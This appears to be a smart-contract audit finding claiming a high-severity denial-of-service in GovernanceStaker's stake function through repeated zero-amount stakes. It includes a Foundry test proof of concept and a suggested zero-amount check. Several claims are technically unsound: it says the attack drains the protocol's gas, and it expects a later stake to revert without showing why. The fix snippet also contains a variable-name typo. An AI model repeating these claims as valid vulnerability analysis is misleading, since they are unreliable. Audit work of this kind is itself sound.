Skip to content

Latest commit

 

History

History
160 lines (107 loc) · 4.69 KB

014.md

File metadata and controls

160 lines (107 loc) · 4.69 KB

Expert Tawny Sawfish

High

Complete DOS of core staking functionality

Summary

A malicious staker/user can completely disrupt the staking functionality of the protocol by a grieifing attack and drain all of the gas in the protocol or raise the gas costs to a level where other stakers might find it difficult to stake.

Vulnerability Detail

In the GovernanceStaker::stake() function there is no zero amount check which is a critical check. A malicious attacker can run an infinite/large loop to drain all of the gas while staking Zero amount .

Each malicious stake permanently deploys a new surrogate contract.

This leads to a complete DOS of the staking functionality of the protocol which is one of the core functionalities.

Impact

  1. Complete DOS of the staking functionality.
  2. Gas costs permanently increase for all other stakers.
  3. Drains all of the gas in the protocol.
  4. Makes the protocol economically unviable to use.

Code Snippet

  function stake(uint256 _amount, address _delegatee)
    external
    virtual
    returns (DepositIdentifier _depositId)
  {
    _depositId = _stake(msg.sender, _amount, _delegatee, msg.sender);
  }

 
  /// @notice Internal convenience methods which performs the staking operations.
  /// @dev This method must only be called after proper authorization has been completed.
  /// @dev See public stake methods for additional documentation.
  function _stake(address _depositor, uint256 _amount, address _delegatee, address _claimer)
    internal
    virtual
    returns (DepositIdentifier _depositId)
  {
    _revertIfAddressZero(_delegatee);
    _revertIfAddressZero(_claimer);

    //e Updates the rewardPerToken
    _checkpointGlobalReward();

    //e This is a deliberate design choice known as template method . This will be overriden by the
    // child contracts' implementation
    DelegationSurrogate _surrogate = _fetchOrDeploySurrogate(_delegatee);
    _depositId = _useDepositId();

    uint256 _earningPower = earningPowerCalculator.getEarningPower(_amount, _depositor, _delegatee);

    totalStaked += _amount;
    totalEarningPower += _earningPower;
    depositorTotalStaked[_depositor] += _amount;
    depositorTotalEarningPower[_depositor] += _earningPower;
    deposits[_depositId] = Deposit({
      balance: _amount.toUint96(),
      owner: _depositor,
      delegatee: _delegatee,
      claimer: _claimer,
      earningPower: _earningPower.toUint96(),
      rewardPerTokenCheckpoint: rewardPerTokenAccumulatedCheckpoint,
      scaledUnclaimedRewardCheckpoint: 0 //e No unclaimed rewards at the beggining
    });

    //q No tokens are being minted ..?
    _stakeTokenSafeTransferFrom(_depositor, address(_surrogate), _amount);
    emit StakeDeposited(_depositor, _depositId, _amount, _amount);
    emit ClaimerAltered(_depositId, address(0), _claimer);
    emit DelegateeAltered(_depositId, address(0), _delegatee);
  }

POC(Proof Of Concept)

Add the following to staker/test/GovernanceStaker.t.sol

function testFuzz_CanGriefStaking(address attacker,address depositor, uint256 legitimateAmount, address delegatee) public {
    vm.assume(attacker != depositor);
    vm.assume(attacker != address(0));
    vm.assume(depositor != address(0));

    legitimateAmount = _boundMintAmount(legitimateAmount);
    _mintGovToken(depositor,legitimateAmount);

    uint256 initialGas = gasleft();

    vm.startPrank(attacker);
    for(uint256 i=0;i<2000000;i++){
      address maliciousDelegatee = address(uint160(i+1));
       try govStaker.stake(0,maliciousDelegatee) {

       } catch {
        break;
       }
    }

    vm.stopPrank();
   
    // Recording gas consumed
    uint256 gasConsumed = initialGas - gasleft();
    
    // Now a legitimate depositor tries to stake
    vm.startPrank(depositor);
    vm.expectRevert();

    govStaker.stake(legitimateAmount, delegatee);
    vm.stopPrank();

    // Assert the attack's impact
    assertGt(gasConsumed, 1000000, "Attack should consume significant gas");
    
    
    console2.log("Gas consumed by attack:", gasConsumed);

  }


Tool used

  • Manual Review
  • Foundry

Recommendation

  1. Add a zero amount validation to the GovernanceStaker.sol
  function stake(uint256 _amount, address _delegatee, address _claimer)
    external
    virtual
    returns (DepositIdentifier _depositId)
  { 
+++   require(amount >0 , "Cannot stake zero amount") ;
    _depositId = _stake(msg.sender, _amount, _delegatee, _claimer);
  }